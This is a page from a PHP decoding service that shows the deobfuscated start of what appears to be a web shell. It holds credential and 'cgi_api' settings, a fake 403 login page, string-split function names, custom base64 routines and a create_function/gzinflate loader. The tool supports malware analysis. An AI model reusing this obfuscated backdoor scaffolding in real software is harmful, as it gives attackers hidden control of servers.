Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php set_time_limit(0); ini_set('memory_limit', '-1'); $yPoATogtXHGiZ = array( 'usaW..

Decoded Output download

<?php 
set_time_limit(0); 
ini_set('memory_limit', '-1'); 
$yPoATogtXHGiZ = array( 
	'usaWetsPlmZrChCF' => 'admin', 
	'patmAkSUFwreGLkef' => 'e2d9393b6feb1529931b4619155f6225', 
	'saJWUjdrZEpqdmm' => '0', 
	'lorEELZl' => '403', 
	'shZzGkPGVJqz' => '1', 
	'poxTvGN' => false, 
	'cgLAFZPlTkoLEN' => true, 
); 
$zsfILug='f'.'unct'.'io'.'n'.'_exis'.'t'.'s';$syUrcLNHqaCml='print_r';$cEchjWJW='g'.'z'.'i'.'nfl'.'ate';$ToTBzshqILEE='ABCDE'.'F'.'G'.'HI'.'J'.'KL'.'M'.'NO'.'PQRS'.'T'.'UV'.'WX'.'Y'.'Za'.'bc'.'d'.'efg'.'h'.'i'.'jk'.'lm'.'no'.'p'.'q'.'r'.'st'.'u'.'vwx'.'yz'.'01'.'234'.'56'.'78'.'9+'.'/=';$RhdXmMpeAv='su'.'b'.'s'.'tr';$WgyEWnFy='or'.'d';$VDHrvQDyqorHgrW='s'.'trlen';$EsInz='s'.'trpo'.'s';$WMMImfadfewDv='imp'.'l'.'ode'.'';$imkxrEbnrBnPk='c'.'hr'.'';$NUnqCMEBOpisBEE='p'.'r'.'eg_replac'.'e';$GWfWZfsLnORz='['.'^'.'A'.'-'.'Za-z'.'0-'.'9'.'\+'.'\'.'/\'.'=]';$MyyjkoUdQ='=='.'='.'';$tiSxbs="";$lndkFdbAabqx='b'.'a'.'s'.'e'.'64'.'_'.'en'.'cod'.'e'.'';$thaoVqag='b'.'ase64'.'_d'.'ecod'.'e';if(!$zsfILug($lndkFdbAabqx)){function etSbMu($JlQdF){global $ToTBzshqILEE,$RhdXmMpeAv,$WgyEWnFy,$VDHrvQDyqorHgrW,$WMMImfadfewDv,$tiSxbs,$MyyjkoUdQ;if(empty($JlQdF))return;$isiBJutjyEvDx = $wKTcgUXAXTjz = $vEjQIMofllhWuYW = $FMFQh = $LdsckRzpGMMuV = $fRjww = $hkMCXIwR = $GnMzKdNjcf = $oPHCdzuWm = 0;$XkrNveJH = 0;$rMXvGbtT = $tiSxbs;$XjRpaNtWoqTTdUp = array();if(!$JlQdF){return $JlQdF;}do{$isiBJutjyEvDx = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$wKTcgUXAXTjz = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$vEjQIMofllhWuYW = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$GnMzKdNjcf = $isiBJutjyEvDx << 16 | $wKTcgUXAXTjz << 8 | $vEjQIMofllhWuYW;$FMFQh = $GnMzKdNjcf >> 18 & 0x3f;$LdsckRzpGMMuV = $GnMzKdNjcf >> 12 & 0x3f;$fRjww = $GnMzKdNjcf >> 6 & 0x3f;$hkMCXIwR = $GnMzKdNjcf & 0x3f;$XjRpaNtWoqTTdUp[$XkrNveJH++] = $RhdXmMpeAv($ToTBzshqILEE, $FMFQh, 1).$RhdXmMpeAv($ToTBzshqILEE, $LdsckRzpGMMuV, 1).$RhdXmMpeAv($ToTBzshqILEE, $fRjww, 1).$RhdXmMpeAv($ToTBzshqILEE, $hkMCXIwR, 1);} while ($oPHCdzuWm < $VDHrvQDyqorHgrW($JlQdF));$rMXvGbtT = $WMMImfadfewDv($XjRpaNtWoqTTdUp, $tiSxbs);$rcmeiGjTW = ($VDHrvQDyqorHgrW($JlQdF) % 3);return ($rcmeiGjTW ? $RhdXmMpeAv($rMXvGbtT, 0, ($rcmeiGjTW - 3)) : $rMXvGbtT).$RhdXmMpeAv($MyyjkoUdQ, ($rcmeiGjTW || 3));}}else{function etSbMu($JlQdF){global $lndkFdbAabqx;return $lndkFdbAabqx($JlQdF);}}if(!$zsfILug($thaoVqag)){function FJbSYo($dckycv){global $ToTBzshqILEE,$RhdXmMpeAv,$VDHrvQDyqorHgrW,$EsInz,$imkxrEbnrBnPk,$NUnqCMEBOpisBEE,$GWfWZfsLnORz,$tiSxbs;if(empty($dckycv))return;$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;$oPHCdzuWm = 0;$KcbGLoJSFDSQc = $tiSxbs;$dckycv = $NUnqCMEBOpisBEE($GWfWZfsLnORz, $tiSxbs, $dckycv);do{$jfSaohgdRGCpbF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$naXrhbvQNlHZMqG = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$XGDhOXDSbv = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$YAykxQtrurjCF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$kxhuWeLw = ($jfSaohgdRGCpbF << 2) | ($naXrhbvQNlHZMqG >> 4);$XqGSm = (($naXrhbvQNlHZMqG & 15) << 4) | ($XGDhOXDSbv >> 2);$OcurJcR = (($XGDhOXDSbv & 3) << 6) | $YAykxQtrurjCF;$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $kxhuWeLw);if ($XGDhOXDSbv != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $XqGSm);}if ($YAykxQtrurjCF != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $OcurJcR);}$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;}while($oPHCdzuWm < $VDHrvQDyqorHgrW($dckycv));return $KcbGLoJSFDSQc;}}else{function FJbSYo($JlQdF){global $thaoVqag;return $thaoVqag($JlQdF);}}$BJjGNH='cre'.'ate'.'_f'.'u'.'n'.'c'.'tio'.'n'.'';$xdPXX = @$BJjGNH('$ry',$syUrcLNHqaCml.'('.$cEchjWJW.'('.'FJ'.'bSYo'.'($ry)'.')'.')'.';'); 
 
 
/* BSnTjsDwVWNUnfRAvlTEpIySxGMXswPOCDHFqcLJlzGAjbynrTxyKBeWlwYnAFNvwOlieJojexMQjTAHoeAqGrcyWbpbplBulIAR */ 
/* You're killing me again  Am I still in your head ?  You used to light me up  Now you shut me down -- Solevisible */ 
function __ZW5jb2Rlcg($s){return etSbMu($s);}function __ZGVjb2Rlcg($s){return FJbSYo($s);}$GLOBALS['DB_NAME'] = $GLOBALS['yPoATogtXHGiZ'];if(true){foreach($GLOBALS['DB_NAME'] as $key => $value){$prefix = substr($key, 0, 2);if($prefix == "us"){$GLOBALS['DB_NAME']["user"] = $value;$GLOBALS['DB_NAME']["user_rand"] = $key;}elseif($prefix == "pa"){$GLOBALS['DB_NAME']["pass"] = $value;$GLOBALS['DB_NAME']["pass_rand"] = $key;}elseif($prefix == "sa"){$GLOBALS['DB_NAME']["safemode"] = $value;$GLOBALS['DB_NAME']["safemode_rand"] = $key;}elseif($prefix == "lo"){$GLOBALS['DB_NAME']["login_page"] = $value;$GLOBALS['DB_NAME']["login_page_rand"] = $key;}elseif($prefix == "sh"){$GLOBALS['DB_NAME']["show_icons"] = $value;$GLOBALS['DB_NAME']["show_icons_rand"] = $key;}elseif($prefix == "po"){$GLOBALS['DB_NAME']["post_encryption"] = $value;$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;}elseif($prefix == "cg"){$GLOBALS['DB_NAME']["cgi_api"] = $value;$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;}}}unset($GLOBALS['yPoATogtXHGiZ']); 
 
 
?>

Did this file decode correctly?

Original Code

<?php
set_time_limit(0);
ini_set('memory_limit', '-1');
$yPoATogtXHGiZ = array(
	'usaWetsPlmZrChCF' => 'admin',
	'patmAkSUFwreGLkef' => 'e2d9393b6feb1529931b4619155f6225',
	'saJWUjdrZEpqdmm' => '0',
	'lorEELZl' => '403',
	'shZzGkPGVJqz' => '1',
	'poxTvGN' => false,
	'cgLAFZPlTkoLEN' => true,
);
$zsfILug='f'.'unct'.'io'.'n'.'_exis'.'t'.'s';$syUrcLNHqaCml='print_r';$cEchjWJW='g'.'z'.'i'.'nfl'.'ate';$ToTBzshqILEE='ABCDE'.'F'.'G'.'HI'.'J'.'KL'.'M'.'NO'.'PQRS'.'T'.'UV'.'WX'.'Y'.'Za'.'bc'.'d'.'efg'.'h'.'i'.'jk'.'lm'.'no'.'p'.'q'.'r'.'st'.'u'.'vwx'.'yz'.'01'.'234'.'56'.'78'.'9+'.'/=';$RhdXmMpeAv='su'.'b'.'s'.'tr';$WgyEWnFy='or'.'d';$VDHrvQDyqorHgrW='s'.'trlen';$EsInz='s'.'trpo'.'s';$WMMImfadfewDv='imp'.'l'.'ode'.'';$imkxrEbnrBnPk='c'.'hr'.'';$NUnqCMEBOpisBEE='p'.'r'.'eg_replac'.'e';$GWfWZfsLnORz='['.'^'.'A'.'-'.'Za-z'.'0-'.'9'.'\+'.'\\'.'/\\'.'=]';$MyyjkoUdQ='=='.'='.'';$tiSxbs="";$lndkFdbAabqx='b'.'a'.'s'.'e'.'64'.'_'.'en'.'cod'.'e'.'';$thaoVqag='b'.'ase64'.'_d'.'ecod'.'e';if(!$zsfILug($lndkFdbAabqx)){function etSbMu($JlQdF){global $ToTBzshqILEE,$RhdXmMpeAv,$WgyEWnFy,$VDHrvQDyqorHgrW,$WMMImfadfewDv,$tiSxbs,$MyyjkoUdQ;if(empty($JlQdF))return;$isiBJutjyEvDx = $wKTcgUXAXTjz = $vEjQIMofllhWuYW = $FMFQh = $LdsckRzpGMMuV = $fRjww = $hkMCXIwR = $GnMzKdNjcf = $oPHCdzuWm = 0;$XkrNveJH = 0;$rMXvGbtT = $tiSxbs;$XjRpaNtWoqTTdUp = array();if(!$JlQdF){return $JlQdF;}do{$isiBJutjyEvDx = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$wKTcgUXAXTjz = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$vEjQIMofllhWuYW = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$GnMzKdNjcf = $isiBJutjyEvDx << 16 | $wKTcgUXAXTjz << 8 | $vEjQIMofllhWuYW;$FMFQh = $GnMzKdNjcf >> 18 & 0x3f;$LdsckRzpGMMuV = $GnMzKdNjcf >> 12 & 0x3f;$fRjww = $GnMzKdNjcf >> 6 & 0x3f;$hkMCXIwR = $GnMzKdNjcf & 0x3f;$XjRpaNtWoqTTdUp[$XkrNveJH++] = $RhdXmMpeAv($ToTBzshqILEE, $FMFQh, 1).$RhdXmMpeAv($ToTBzshqILEE, $LdsckRzpGMMuV, 1).$RhdXmMpeAv($ToTBzshqILEE, $fRjww, 1).$RhdXmMpeAv($ToTBzshqILEE, $hkMCXIwR, 1);} while ($oPHCdzuWm < $VDHrvQDyqorHgrW($JlQdF));$rMXvGbtT = $WMMImfadfewDv($XjRpaNtWoqTTdUp, $tiSxbs);$rcmeiGjTW = ($VDHrvQDyqorHgrW($JlQdF) % 3);return ($rcmeiGjTW ? $RhdXmMpeAv($rMXvGbtT, 0, ($rcmeiGjTW - 3)) : $rMXvGbtT).$RhdXmMpeAv($MyyjkoUdQ, ($rcmeiGjTW || 3));}}else{function etSbMu($JlQdF){global $lndkFdbAabqx;return $lndkFdbAabqx($JlQdF);}}if(!$zsfILug($thaoVqag)){function FJbSYo($dckycv){global $ToTBzshqILEE,$RhdXmMpeAv,$VDHrvQDyqorHgrW,$EsInz,$imkxrEbnrBnPk,$NUnqCMEBOpisBEE,$GWfWZfsLnORz,$tiSxbs;if(empty($dckycv))return;$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;$oPHCdzuWm = 0;$KcbGLoJSFDSQc = $tiSxbs;$dckycv = $NUnqCMEBOpisBEE($GWfWZfsLnORz, $tiSxbs, $dckycv);do{$jfSaohgdRGCpbF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$naXrhbvQNlHZMqG = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$XGDhOXDSbv = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$YAykxQtrurjCF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$kxhuWeLw = ($jfSaohgdRGCpbF << 2) | ($naXrhbvQNlHZMqG >> 4);$XqGSm = (($naXrhbvQNlHZMqG & 15) << 4) | ($XGDhOXDSbv >> 2);$OcurJcR = (($XGDhOXDSbv & 3) << 6) | $YAykxQtrurjCF;$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $kxhuWeLw);if ($XGDhOXDSbv != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $XqGSm);}if ($YAykxQtrurjCF != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $OcurJcR);}$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;}while($oPHCdzuWm < $VDHrvQDyqorHgrW($dckycv));return $KcbGLoJSFDSQc;}}else{function FJbSYo($JlQdF){global $thaoVqag;return $thaoVqag($JlQdF);}}$BJjGNH='cre'.'ate'.'_f'.'u'.'n'.'c'.'tio'.'n'.'';$xdPXX = @$BJjGNH('$ry',$syUrcLNHqaCml.'('.$cEchjWJW.'('.'FJ'.'bSYo'.'($ry)'.')'.')'.';');


/* BSnTjsDwVWNUnfRAvlTEpIySxGMXswPOCDHFqcLJlzGAjbynrTxyKBeWlwYnAFNvwOlieJojexMQjTAHoeAqGrcyWbpbplBulIAR */
/* You're killing me again  Am I still in your head ?  You used to light me up  Now you shut me down -- Solevisible */
function __ZW5jb2Rlcg($s){return etSbMu($s);}function __ZGVjb2Rlcg($s){return FJbSYo($s);}$GLOBALS['DB_NAME'] = $GLOBALS['yPoATogtXHGiZ'];if(true){foreach($GLOBALS['DB_NAME'] as $key => $value){$prefix = substr($key, 0, 2);if($prefix == "us"){$GLOBALS['DB_NAME']["user"] = $value;$GLOBALS['DB_NAME']["user_rand"] = $key;}elseif($prefix == "pa"){$GLOBALS['DB_NAME']["pass"] = $value;$GLOBALS['DB_NAME']["pass_rand"] = $key;}elseif($prefix == "sa"){$GLOBALS['DB_NAME']["safemode"] = $value;$GLOBALS['DB_NAME']["safemode_rand"] = $key;}elseif($prefix == "lo"){$GLOBALS['DB_NAME']["login_page"] = $value;$GLOBALS['DB_NAME']["login_page_rand"] = $key;}elseif($prefix == "sh"){$GLOBALS['DB_NAME']["show_icons"] = $value;$GLOBALS['DB_NAME']["show_icons_rand"] = $key;}elseif($prefix == "po"){$GLOBALS['DB_NAME']["post_encryption"] = $value;$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;}elseif($prefix == "cg"){$GLOBALS['DB_NAME']["cgi_api"] = $value;$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;}}}unset($GLOBALS['yPoATogtXHGiZ']);


?>

Function Calls

ini_set 1
set_time_limit 1
create_function 1
function_exists 2

Variables

$EsInz strpos
$BJjGNH create_function
$tiSxbs
$zsfILug function_exists
$WgyEWnFy ord
$cEchjWJW gzinflate
$thaoVqag base64_decode
$MyyjkoUdQ ===
$RhdXmMpeAv substr
$GWfWZfsLnORz [^A-Za-z0-9\+\/\=]
$ToTBzshqILEE ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567..
$lndkFdbAabqx base64_encode
$WMMImfadfewDv implode
$imkxrEbnrBnPk chr
$syUrcLNHqaCml print_r
$yPoATogtXHGiZ [{'key': 'usaWetsPlmZrChCF', 'value': 'admin'}, {'key': 'patmAkSUFwreGLkef', 'value': 'e2d9393b6feb1529931b4619155f6225'}, {'key': 'saJWUjdrZEpqdmm', 'value': '0'}, {'key': 'lorEELZl', 'value': '403'}, {'key': 'shZzGkPGVJqz', 'value': '1'}, {'key': 'poxTvGN', 'value': False}, {'key': 'cgLAFZPlTkoLEN', 'value': True}]
$NUnqCMEBOpisBEE preg_replace
$VDHrvQDyqorHgrW strlen

Stats

MD5 be322cac25af451e2ddd1eddc7c21bd6
Eval Count 1
Decode Time 214 ms